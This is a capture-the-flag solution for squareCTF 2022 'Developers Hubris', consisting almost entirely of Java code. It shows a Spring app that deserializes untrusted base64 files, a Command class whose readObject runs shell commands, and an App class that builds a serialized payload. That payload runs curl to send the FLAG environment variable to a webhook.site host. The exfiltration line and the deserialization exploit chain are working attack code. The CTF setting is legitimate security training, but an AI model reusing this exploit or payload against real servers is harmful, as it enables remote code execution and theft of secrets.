[squareCTF 2022] Developers Hubris

package com.example.developershubris;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Command implements java.io.Serializable {

  public String command;
  public Command(String command)
  {
    this.command = command;
  }

  private void writeObject(java.io.ObjectOutputStream out)
      throws IOException, ClassNotFoundException {

    out.writeUTF(this.command);
  }

  private void readObject(java.io.ObjectInputStream in)
      throws IOException, ClassNotFoundException, InterruptedException {
    this.command = in.readUTF();
    String[] commandArray = this.command.split(" ", 3);
    Process commandProcess = Runtime.getRuntime().exec(commandArray);
    int commandProcessExitCode = commandProcess.waitFor();
    StringBuilder commandStringBuilder = new StringBuilder();
    if(commandProcessExitCode != 0) {
      BufferedReader commandOutputReader =
            new BufferedReader(new InputStreamReader(commandProcess.getInputStream()));
      String commandOutputLine;
      while ((commandOutputLine = commandOutputReader.readLine()) != null)
        commandStringBuilder.append(commandOutputLine);

      BufferedReader commandErrorReader =
            new BufferedReader(new InputStreamReader(commandProcess.getErrorStream()));
      String commandErrorLine;
      while ((commandErrorLine = commandErrorReader.readLine()) != null)
        commandStringBuilder.append(commandErrorLine);

      throw new RuntimeException(commandStringBuilder.toString());
    }
  }
}

package com.example.developershubris;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
import java.util.List;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.commons.codec.binary.Base64InputStream;

@Controller()
public class DiagnosticsController {

  @GetMapping ("/diagnostics")
  public String getDiagnostics (@RequestParam() String errorID, Model model) throws IOException, ClassNotFoundException {

    File errorFile = PathSecurityUtil.GetSafePath("./Errors/." + errorID).toFile();

    Exception errorObject = null;
    try (FileInputStream fileIn = new FileInputStream(errorFile);
         Base64InputStream base64In = new Base64InputStream(fileIn);
         ObjectInputStream in = new ObjectInputStream(base64In)) {
      errorObject = (Exception) in.readObject(); // hacking entrypoint
    }

    List<Throwable> causes = new ArrayList<>();
    Throwable cause = errorObject.getCause();
    while(cause != null){
      causes.add(cause);
      cause = cause.getCause();
    }


    model.addAttribute("error", errorObject);
    model.addAttribute("causes", causes);
    return "diagnostics";
  }
}

package com.example.developershubris;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.stream.Collectors;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class ReportsController {

  @GetMapping("/reports")
  public String getReports (@RequestParam() String name, Model model) throws IOException {

    Path reportsPath = PathSecurityUtil.GetSafePath("Reports/" + name);
    File reportsDirectory = reportsPath.toFile();
    List<String> reportsNames = new ArrayList<>();
    if(reportsDirectory.exists()) {
      File[] reportFiles = reportsDirectory.listFiles((reportFile) -> !reportFile.isHidden());
      if(reportFiles != null)
        reportsNames = Arrays.stream(reportFiles).
            map(File::getName).
            collect(Collectors.toList());
    }

    model.addAttribute("name", name);
    model.addAttribute("reports", reportsNames);
    return "reports";
  }

  @GetMapping("/reports/submit")
  public String getReportsSubmit (){

    return "index";
  }

  @PostMapping("/reports/submit")
  @ResponseBody
  public String postReportsSubmit (@RequestParam() String name,
      @RequestParam() String subject,
      @RequestParam() String message) throws IOException {

    // TODO: Encrypt reports using key stored in env variable
    // String key = System.getenv("FLAG");

    Path reportsDirectoryPath = PathSecurityUtil.GetSafePath("Reports/" + name);
    File reportsDirectory = reportsDirectoryPath.toFile();
    if(!reportsDirectory.exists() && !reportsDirectory.mkdir())
      return "Sorry, a new folder couldn't be created for your reports";
    File reportFile = PathSecurityUtil.GetSafePath(reportsDirectoryPath, subject).toFile();
    if(!reportFile.exists())
    {
      if(!reportFile.createNewFile())
        return "Sorry, the new report could not be saved";
    }
    try (FileWriter reportFileWriter = new FileWriter(reportFile)) {
      reportFileWriter.write(message);
    }

    return "Thank you for your submission!";
  }
}

package com.example.developershubris;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.nio.file.Paths;

import org.apache.commons.codec.binary.Base64OutputStream;
import org.apache.commons.codec.binary.Base64InputStream;

public class App {
    public static void main(String[] args) throws Exception {
        File errorFile = Paths.get("./payload").toFile();
        Command cmd = new Command("/bin/bash -c curl http://webhook.site/my_unique_uuid?c=${FLAG}");
        try {
            FileOutputStream fileOut = new FileOutputStream(errorFile);
            OutputStream b64Out = new Base64OutputStream(fileOut);
            ObjectOutputStream out = new ObjectOutputStream(b64Out);
            out.writeObject(cmd);
            // close all
            out.close();
            b64Out.close();
            fileOut.close();
        } catch (Exception e) {
            System.out.println(e);
        }

    Exception errorObject = null;
        try {
            FileInputStream fileIn = new FileInputStream(errorFile);
            Base64InputStream b64In = new Base64InputStream(fileIn);
            ObjectInputStream in = new ObjectInputStream(b64In);
            errorObject = (Exception) in.readObject();
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}